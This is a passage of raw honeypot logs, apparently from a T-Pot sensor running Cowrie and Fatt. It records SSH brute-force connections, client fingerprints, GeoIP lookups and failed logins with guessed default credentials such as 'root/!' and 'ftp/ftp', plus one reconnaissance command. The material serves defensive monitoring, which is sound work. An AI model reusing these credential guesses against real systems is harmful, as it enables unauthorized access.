22140	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:18.849354+03	2021-09-20 14:15:04.548613+03	{"_id": "DgXiAnwBvYTbRNuEof0L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/!] failed", "session": "4db4e55a9029", "@version": "1", "password": "!", "username": "root", "timestamp": "2021-09-20T11:06:18.849354Z", "@timestamp": "2021-09-20T11:06:18.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22014	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:19.432027+03	2021-09-20 14:15:04.387612+03	{"_id": "SwXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:60256 (192.168.176.2:22) [session: 59e77f02430e]", "session": "59e77f02430e", "@version": "1", "protocol": "ssh", "src_port": 60256, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.432027Z", "@timestamp": "2021-09-20T11:06:19.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22015	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:19.66016+03	2021-09-20 14:15:04.388613+03	{"_id": "TAXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:34476 (192.168.176.2:22) [session: ca30ea541b77]", "session": "ca30ea541b77", "@version": "1", "protocol": "ssh", "src_port": 34476, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.660160Z", "@timestamp": "2021-09-20T11:06:19.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22016	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:06:19.250393+03	2021-09-20 14:15:04.389612+03	{"_id": "RgXiAnwBvYTbRNuEpP32", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 64098, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.250393", "@timestamp": "2021-09-20T11:06:19.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22017	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:19.292339+03	2021-09-20 14:15:04.391613+03	{"_id": "UwXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ftp/ftp] failed", "session": "7063802edb6e", "@version": "1", "password": "ftp", "username": "ftp", "timestamp": "2021-09-20T11:06:19.292339Z", "@timestamp": "2021-09-20T11:06:19.292Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22018	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:19.713146+03	2021-09-20 14:15:04.392612+03	{"_id": "SAXiAnwBvYTbRNuEpP32", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60256, "timestamp": "2021-09-20T11:06:19.713146", "@timestamp": "2021-09-20T11:06:19.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22532	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.820344+03	2021-09-20 14:15:06.33447+03	{"_id": "cQbjAnwBvYTbRNuEQQWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7e70e98bbfd3", "@version": "1", "duration": 2.6382603645324707, "timestamp": "2021-09-20T11:06:59.820344Z", "@timestamp": "2021-09-20T11:06:59.820Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22019	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:19.715932+03	2021-09-20 14:15:04.394613+03	{"_id": "SQXiAnwBvYTbRNuEpP32", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60256, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.715932", "@timestamp": "2021-09-20T11:06:19.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22020	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:19.482325+03	2021-09-20 14:15:04.395612+03	{"_id": "WAXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ba59f69158c2", "@version": "1", "duration": 3.1100804805755615, "timestamp": "2021-09-20T11:06:19.482325Z", "@timestamp": "2021-09-20T11:06:19.482Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22021	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:19.503269+03	2021-09-20 14:15:04.396612+03	{"_id": "WQXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "59e77f02430e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:19.503269Z", "@timestamp": "2021-09-20T11:06:19.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22022	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:19.580873+03	2021-09-20 14:15:04.397613+03	{"_id": "WgXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "223.241.247.214", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5716469287872314, "duplicate": true, "timestamp": "2021-09-20T11:06:19.580873Z", "@timestamp": "2021-09-20T11:06:19.580Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
22023	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:19.689429+03	2021-09-20 14:15:04.399612+03	{"_id": "WwXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ca30ea541b77", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:19.689429Z", "@timestamp": "2021-09-20T11:06:19.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22029	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:19.961913+03	2021-09-20 14:15:04.406612+03	{"_id": "YQXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:19.961913Z", "@timestamp": "2021-09-20T11:06:19.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
22024	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:19.704558+03	2021-09-20 14:15:04.400613+03	{"_id": "XAXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6bd485b75f89", "@version": "1", "timestamp": "2021-09-20T11:06:19.704558Z", "@timestamp": "2021-09-20T11:06:19.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22025	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:19.71794+03	2021-09-20 14:15:04.401612+03	{"_id": "XQXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": 